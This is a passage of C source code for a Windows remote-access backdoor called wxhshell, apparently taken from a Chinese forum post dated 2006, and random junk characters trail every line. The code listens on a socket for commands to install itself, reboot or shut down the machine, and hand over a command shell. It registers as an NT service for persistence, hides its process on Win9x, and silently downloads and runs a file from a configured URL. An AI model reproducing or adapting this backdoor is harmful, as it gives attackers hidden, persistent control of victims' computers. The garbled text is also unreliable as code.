      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ep(xlHTv  
    break; mxEe -q  
  } .<vXj QE  
  // 安装 _# Hd2h  
  case 'i': { >NPK;Vu  
    if(Install()) n><ad*|MX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k5>UAea_  
    else +8xT}mX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '__>M>[  
    break; TfJ*G6\7e#  
    } >!qtue7B  
  // 卸载 k>i`G5Dh  
  case 'r': { CF3x\6.q}  
    if(Uninstall()) R<f F ^^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p8XvfM  
    else 4RctYMz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -uN{28;@  
    break; '+Jy//5?  
    } v5@4 |u3ds  
  // 显示 wxhshell 所在路径 0Sk~m4fj(  
  case 'p': { X9PbU1o;  
    char svExeFile[MAX_PATH]; @-K[@e/uwy  
    strcpy(svExeFile,"\n\r"); ;07$G+['  
      strcat(svExeFile,ExeFile); Xl1%c7r.1  
        send(wsh,svExeFile,strlen(svExeFile),0); kI a16m  
    break; ;ZuHv {=  
    } xtCMK1# x  
  // 重启 J;<dO7j5  
  case 'b': { fn/?I \  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c|3oa"6T>  
    if(Boot(REBOOT)) iOIq2&sV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P0; y  
    else { M._E$y,5  
    closesocket(wsh); [(a3ljbRX  
    ExitThread(0); ..h@QQ  
    } q.R(>ZcV  
    break; 4pMp@ b  
    } =RXeN+ &R  
  // 关机 DZmVm['l  
  case 'd': { x0)=jp '  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OYxYlUq  
    if(Boot(SHUTDOWN)) Jw=7eay$F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &x B^  
    else { g?|Z/eVJ  
    closesocket(wsh); R|}4H*N  
    ExitThread(0); SVZ@'X\[M  
    } F#yn'j8  
    break; P c&dU1  
    } ,<!*@xy7v  
  // 获取shell dh%O {t  
  case 's': { >Q<XyAH~  
    CmdShell(wsh); BPkL3Ev1V  
    closesocket(wsh); -rYb{<;ST  
    ExitThread(0); L<oQKe7Q:  
    break; T~$Eh6 D  
  } _'Jjt9@S  
  // 退出 L|<j/bP  
  case 'x': { b 1.S21  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L_9uwua.B~  
    CloseIt(wsh); M  hW9^?  
    break; 1!V[fPJ  
    } '/XP4B\(E  
  // 离开 4".I*ij  
  case 'q': { ,[ppETz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UAz^P6iQ`~  
    closesocket(wsh); u0<yGsEGD  
    WSACleanup(); |AE{rvP{@  
    exit(1); D=vw0Q_3Y3  
    break; #b&tNZ4!_  
        } pam9wfP  
  } .3UJ*^(?  
  } I74Rw*fB  
h{_\ok C>  
  // 提示信息 ^ )"Il  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CG@Fn\J  
} 49>b]f,Vc  
  } 4a& 8G  
XXX y*/P  
  return; ld#x'/  
} {[:C_Up)f  
r aOuD3  
// shell模块句柄 At[Q0'jkc  
int CmdShell(SOCKET sock) |*w)]2B l  
{ :zo5`[P  
STARTUPINFO si; e(0 cz6  
ZeroMemory(&si,sizeof(si)); 9[X'9* ,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .czUJyFms}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2<OU)rVE4  
PROCESS_INFORMATION ProcessInfo; -z. wAp  
char cmdline[]="cmd"; l=" X|t   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dHiir&Rd9`  
  return 0; 4x-,l1NMR  
} K%L6UQ;  
^S;{;c+'  
// 自身启动模式 T<>B5G~%  
int StartFromService(void) ]!!?gnPd5  
{ 4Zu1G#(zP  
typedef struct @i(9k  
{ u59l)8=  
  DWORD ExitStatus; {R63n  
  DWORD PebBaseAddress; ny+r>>3Td  
  DWORD AffinityMask; mzM95yQ^Z  
  DWORD BasePriority; ZZ{c  
  ULONG UniqueProcessId; %U}6(~  
  ULONG InheritedFromUniqueProcessId; jK/F zD0-  
}   PROCESS_BASIC_INFORMATION; "|J6*s   
4yqYs>  
PROCNTQSIP NtQueryInformationProcess; "3]}V=L<5  
\ ;]{`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t oDi70o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ( sl{Rgxe*  
zOMxg00  
  HANDLE             hProcess; b'SP,}s5"  
  PROCESS_BASIC_INFORMATION pbi; Kv1~,j6  
zRLJ|ejMP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uUx7>algF  
  if(NULL == hInst ) return 0; QGOkB  
EpRn,[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QPLWRZu@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hR0a5   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ud)WH|Z  
%X\A|V&  
  if (!NtQueryInformationProcess) return 0; R0#scr   
@$5~`?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W{q P/R  
  if(!hProcess) return 0; C[%&;\3S@  
Sn'!Nq>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6y Muj<L  
'3^qW  
  CloseHandle(hProcess); CDtL.a\  
V D7^wd9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VfJ{);   
if(hProcess==NULL) return 0; A9SL|9Q  
n2-+.9cY  
HMODULE hMod; ami>Pp  
char procName[255]; OW=3t#"7Kp  
unsigned long cbNeeded; g8'8"9:xC  
"]p&7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DFZ@q=ZT  
z}-R^"40  
  CloseHandle(hProcess); D}}?{pe  
>*O5Ry:4  
if(strstr(procName,"services")) return 1; // 以服务启动 d)biMI}<5  
rq7yNt  
  return 0; // 注册表启动 3k>#z%//  
} !wd wo0  
wDoCc:  
// 主模块 c-NUD$  
int StartWxhshell(LPSTR lpCmdLine) &@{`{  
{ Ca?w"m~h  
  SOCKET wsl; ]Z\W%'q+  
BOOL val=TRUE; ziO(`"v  
  int port=0; OOIp)=4  
  struct sockaddr_in door; ZHeue_~x4  
[ywF!#'){  
  if(wscfg.ws_autoins) Install(); X1}M_h %  
FdnLxw  
port=atoi(lpCmdLine); 6ZI7V!k  
By!u*vSev  
if(port<=0) port=wscfg.ws_port; OPq|4xu  
 Jn|<G  
  WSADATA data; $,r%@'=&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "#0P*3-c  
+ru`Zw5,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n2AoEbd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x~Z7p)D_<  
  door.sin_family = AF_INET; S3U]AH)C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qgEzK  
  door.sin_port = htons(port); @|ZUyat  
>a2[P"   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GadY#]}(  
closesocket(wsl); `aX+Gz?  
return 1; jM6$R1HX  
} BDPE.8s  
.L#4#IO  
  if(listen(wsl,2) == INVALID_SOCKET) { ;XZN0A2  
closesocket(wsl); <)O#Y76s  
return 1; m^ar:mK@  
} '#j6ZC/?  
  Wxhshell(wsl); 5M)B  
  WSACleanup(); =|$U`~YB  
!7#*Wdt+P  
return 0; ;{iTS sb  
(qc <'$o  
} dE[X6$H[  
zTG1 0  
// 以NT服务方式启动 Lnn^j#n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;*Y+.?>a  
{ 32J/   
DWORD   status = 0; h;} fdk  
  DWORD   specificError = 0xfffffff; 60>g{1]  
' t(#HBU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C$ at9=(E6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qB$QC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5c%Fb :BW=  
  serviceStatus.dwWin32ExitCode     = 0; 9 s2z=^  
  serviceStatus.dwServiceSpecificExitCode = 0; i+I.>L/S  
  serviceStatus.dwCheckPoint       = 0; 1,Pg^Xu  
  serviceStatus.dwWaitHint       = 0; qIzv|Nte  
:N<o<qn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +['1~5  
  if (hServiceStatusHandle==0) return; `N}'5{I  
MbTmdRf  
status = GetLastError(); UNrO$aX!1'  
  if (status!=NO_ERROR) 1Nv qtVC  
{ Ix=(f0|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DYZk1  
    serviceStatus.dwCheckPoint       = 0; vf?m6CMU !  
    serviceStatus.dwWaitHint       = 0; !14v Ovj4{  
    serviceStatus.dwWin32ExitCode     = status; h;cw=G  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0Y~5|OXJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]nxSVKE4p  
    return; [zrFW g6N  
  } NZ^hp\q  
Y{4nBu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JkLpoe81  
  serviceStatus.dwCheckPoint       = 0; BH$hd|KD<  
  serviceStatus.dwWaitHint       = 0; 6TQ[2%X'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cft@s Y  
} &"yoJ<L  
FA%BzU5^  
// 处理NT服务事件,比如:启动、停止 v)zxQuH]^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >v/%R~BuX  
{ #K> Ue>hx  
switch(fdwControl) g</Mk^CE  
{ %~Wr/TOt+  
case SERVICE_CONTROL_STOP: h)r=+Q\'(S  
  serviceStatus.dwWin32ExitCode = 0; U'}[:h~)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @_#]7  
  serviceStatus.dwCheckPoint   = 0; >(Wt  
  serviceStatus.dwWaitHint     = 0; 3XUie;*`  
  { u$"Ew^C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E,A9+OKxJ  
  } d8^S~7  
  return; d&DQ8Gm ^  
case SERVICE_CONTROL_PAUSE: QA~Lm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j  W -K  
  break; mP +H C)2  
case SERVICE_CONTROL_CONTINUE: c#fSt}J>C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;l@Ge`&u  
  break; ,YrPwdaTB  
case SERVICE_CONTROL_INTERROGATE: \Dx)P[Ur  
  break; X&%;(`  
}; OK:YnSk"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6s:  
} uHt@;$9A  
h& Ezhv2  
// 标准应用程序主函数 _E^ !, Wz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6.3qux9  
{ 2cv=7!K4Uv  
|f[:mO   
// 获取操作系统版本  pm*i!3g'  
OsIsNt=GetOsVer(); vPu {xy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iB{l:  
MBFn s/  
  // 从命令行安装 69``j{Z+  
  if(strpbrk(lpCmdLine,"iI")) Install(); t)l^$j !h@  
"A}2iI  
  // 下载执行文件 ]~'pYOB  
if(wscfg.ws_downexe) { ]Mgxv>zRbs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  11-?M  
  WinExec(wscfg.ws_filenam,SW_HIDE); aN"dk-eK  
} %T~LK=m  
2D{`AJ  
if(!OsIsNt) { 0F[+rh"x  
// 如果时win9x,隐藏进程并且设置为注册表启动 @9h6D<?  
HideProc(); ]nx5E_j2  
StartWxhshell(lpCmdLine); I oC}0C7  
} vb]H $@0  
else (!diPwcv  
  if(StartFromService()) 8G_KbS  
  // 以服务方式启动 WeS$$:ro  
  StartServiceCtrlDispatcher(DispatchTable); 20BU;D3  
else 7V;wCm#b  
  // 普通方式启动 6w $pL(  
  StartWxhshell(lpCmdLine); /8s>JPXKH[  
Vg1MA  
return 0; ^$J.l+<hy  
}
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只看该作者 1 发表于: 2006-10-10
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